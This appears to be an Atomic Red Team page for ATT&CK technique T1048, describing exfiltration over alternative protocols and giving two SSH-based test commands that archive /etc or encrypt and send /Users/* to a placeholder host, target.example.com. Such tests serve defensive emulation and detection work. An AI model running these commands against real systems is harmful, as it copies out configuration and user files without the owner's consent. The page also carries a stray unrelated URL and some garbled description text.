T1048
Exfiltration Over Alternative Protocol
Description from ATT&CK
Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different protocol channels could also include Web services such as cloud storage. Adversaries may also opt to encrypt and/or obfuscate these alternate channels.
Exfiltration Over Alternative Protocol can be done using various common operating system utilities such as Net/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux <code>curl</code> may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques) https://www.aleksandrhovhannisyan.com/blog/how-to-add-a-copy-to-clipboard-button-to-your-jekyll-blog/
Atomic Tests
Atomic Test #1 - Exfiltration Over Alternative Protocol - SSH
Input a domain and test Exfiltration over SSH
Remote to Local
Upon successful execution, sh will spawn ssh contacting a remote domain (default: target.example.com) writing a tar.gz file.
Supported Platforms: macos,linux
auto_generated_guid: f6786cc8-beda-4915-a4d6-ac2f193bb988
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
domain | target SSH domain | url | target.example.com |
Attack Commands: Run with sh!
1
2
ssh #{domain} "(cd /etc && tar -zcvf - *)" > ./etc.tar.gz
Atomic Test #2 - Exfiltration Over Alternative Protocol - SSH
Input a domain and test Exfiltration over SSH
Local to Remote
Upon successful execution, tar will compress /Users/* directory and password protect the file modification of
as output.1
Users.tar.gz.enc
Supported Platforms: macos,linux
auto_generated_guid: 7c3cb337-35ae-4d06-bf03-3032ed2ec268
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
user_name | username for domain | string | atomic |
password | password for user | string | atomic |
domain | target SSH domain | url | target.example.com |
Attack Commands: Run with sh!
1
2
tar czpf - /Users/* | openssl des3 -salt -pass #{password} | ssh #{user_name}@#{domain} 'cat > /Users.tar.gz.enc'